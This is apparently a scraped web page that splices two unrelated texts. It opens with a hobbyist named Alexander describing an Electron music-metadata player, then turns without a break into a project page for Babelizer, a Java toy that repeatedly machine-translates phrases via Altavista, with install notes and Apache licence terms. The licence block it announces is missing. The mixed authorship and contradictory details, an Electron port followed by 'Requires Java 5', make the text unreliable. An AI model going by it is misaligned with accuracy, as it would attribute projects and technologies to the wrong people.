Hi, my name is Alexander and I'm an Spanish guy that loves programming in his free time.
I started with this proyect as a website, made by PHP. What I wanted was to take out the metadata of the songs and a player. I had all done when later I found Electron, a NodeJS project by Github that makes easy creating a web based application. So I started porting what I got to NodeJS, and here it is.

Development is hosted at Google Code: babelizer project
Requires Java 5 or better.
Jonathan Feinberg<EMAIL_ADDRESS>Babelizer is a toy that humorously exposes the inadequacy of machine translation. You type in a phrase, choose a language, and the Babelizer uses the Altavista translation web site to translate between English and your chosen language until the result no longer mutates.
I speak other languages real good. Je parle l'autre vrai bon de langages. I speak other good truth about languages. Je parle l'autre bonne vérité au sujet des langages. I speak the other good truth about the languages.
I got the idea from this Usenet message several years ago. You can play with an online version of the thing here.
Babelizer is free software. It is free as in beer, and it is free as in redistributable with source code, as explained in the license, below.
Install the application by copying it onto your hard drive.
Drag it to the Trash; empty the trash.
This program works by accessing the Altavista translation web site. Sometimes they can't keep up with the volume of translation requests coming from all of their users, and you'll get an error message. I report these problems via red status messages at the bottom of the window.
Of course, if you see an error message that you think is unrelated to these kinds of problems, I welcome your bug reports.
As in "beer": there is no charge. As in "speech": the source code is included and redistributable, per the terms of the Apache License, Version 2.0. Here is the license block as it appears in the source code:

The program uses several free software libraries, all of which are given due credit, with their respective licenses, in the license.txt included with the download.
